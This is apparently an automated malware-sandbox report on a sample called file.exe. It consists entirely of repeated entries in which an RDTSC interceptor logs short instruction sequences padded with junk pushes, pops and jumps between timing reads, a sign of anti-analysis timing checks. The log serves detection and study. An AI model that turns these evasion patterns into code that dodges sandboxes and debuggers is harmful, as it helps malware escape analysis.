Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10FCF second address: E10FE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F14847540B0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10FE5 second address: E11002 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E11002 second address: E11006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E11006 second address: E11010 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0EEE6 second address: E0EEEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F153 second address: E0F157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F157 second address: E0F173 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F14847540A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F14847540AEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F173 second address: E0F177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F44B second address: E0F452 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F452 second address: E0F47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F148511F5C5h 0x0000000e push edi 0x0000000f jne 00007F148511F5B6h 0x00000015 jne 00007F148511F5B6h 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FA71 second address: E0FA99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F14847540B3h 0x00000009 jmp 00007F14847540B1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FA99 second address: E0FAB1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FAB1 second address: E0FAB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FAB7 second address: E0FAC8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F148511F5BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FD8D second address: E0FD97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F14847540A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FD97 second address: E0FDB5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F148511F5B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F148511F5BEh 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FDB5 second address: E0FDCF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B0h 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F14847540A6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FDCF second address: E0FDD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E100B7 second address: E100DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F14847540B6h 0x0000000b jnl 00007F14847540A6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E100DB second address: E100F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F148511F5BEh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F148511F5B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E103B5 second address: E103BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E103BB second address: E103BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E106F1 second address: E106F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E106F7 second address: E106FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E106FB second address: E10701 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10A1D second address: E10A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10A21 second address: E10A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10A2C second address: E10A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1621C second address: E16255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a jno 00007F14847540B9h 0x00000010 jng 00007F14847540ACh 0x00000016 jnc 00007F14847540A6h 0x0000001c push eax 0x0000001d push edx 0x0000001e js 00007F14847540A6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16255 second address: E16259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16259 second address: E1625F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1625F second address: E16269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18D8B second address: E18D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 js 00007F14847540A6h 0x0000000c jns 00007F14847540A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19014 second address: E19018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19018 second address: E19035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F14847540A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F14847540B1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19035 second address: E19041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F148511F5B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19041 second address: E19053 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jno 00007F14847540A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E191B0 second address: E191CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F148511F5C5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E191CF second address: E191D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19325 second address: E1932B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1932B second address: E19331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E198BA second address: E198D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148511F5BEh 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B1A8 second address: E1B1B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F14847540A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E20EFB second address: E20F3D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F148511F5C2h 0x00000008 push edx 0x00000009 jmp 00007F148511F5BCh 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F148511F5C8h 0x00000018 push ecx 0x00000019 push edx 0x0000001a pop edx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E20F3D second address: E20F59 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F14847540ADh 0x00000008 pop edi 0x00000009 pushad 0x0000000a jo 00007F14847540A6h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2133C second address: E21344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21344 second address: E21357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F14847540AEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21357 second address: E21370 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C2h 0x00000007 push ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21370 second address: E2138A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 jmp 00007F14847540ADh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6FFE8 second address: D6FFFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F148511F5BBh 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E214E6 second address: E214FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F14847540A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21637 second address: E21640 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21640 second address: E21648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21648 second address: E2164D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2164D second address: E21674 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jbe 00007F14847540A6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f jmp 00007F14847540B4h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21DB2 second address: E21DDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F148511F5B8h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 jnc 00007F148511F5B8h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21DDE second address: E21DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jp 00007F14847540B2h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21DFD second address: E21E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E22CDB second address: E22CEE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F14847540ABh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E22CEE second address: E22D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148511F5C1h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E22D05 second address: E22D34 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F14847540A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F14847540B5h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007F14847540ACh 0x00000019 jne 00007F14847540A6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29689 second address: E29691 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29691 second address: E296BA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F14847540B2h 0x00000008 jmp 00007F14847540ADh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E296BA second address: E296C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E296C0 second address: E296DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F14847540B6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29082 second address: E29086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29086 second address: E29096 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007F14847540A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29204 second address: E29221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148511F5C8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29397 second address: E293BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B3h 0x00000007 jmp 00007F14847540AEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E293BC second address: E293DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F148511F5B6h 0x00000012 jmp 00007F148511F5BAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E293DD second address: E293F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F14847540A6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39051 second address: E3905B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F148511F5B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E414F5 second address: E4150A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007F14847540A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d je 00007F14847540A6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4150A second address: E41515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41515 second address: E41519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5060F second address: E5062A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C6h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5062A second address: E5063A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5063A second address: E5063E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F22E second address: E4F242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F14847540B4h 0x0000000a jl 00007F14847540AEh 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52D46 second address: E52D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F148511F5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54649 second address: E54665 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F14847540B2h 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F14847540AAh 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F14847540A6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65A8C second address: E65AA0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jnl 00007F148511F5B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65AA0 second address: E65AD8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F14847540A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F14847540ABh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F14847540ADh 0x0000001e jmp 00007F14847540ACh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6002D second address: E60036 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7366F second address: E73673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73673 second address: E73689 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F148511F5BDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E737C7 second address: E737DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88EC2 second address: E88EC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88EC6 second address: E88ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88ED0 second address: E88ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E87E4F second address: E87E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E87E53 second address: E87E6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F148511F5B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F148511F5BAh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E87E6D second address: E87E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E87E71 second address: E87E7F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F148511F5CFh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E87FDB second address: E87FDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88101 second address: E88113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F148511F5B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F148511F5B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88113 second address: E8811F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 js 00007F14847540A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
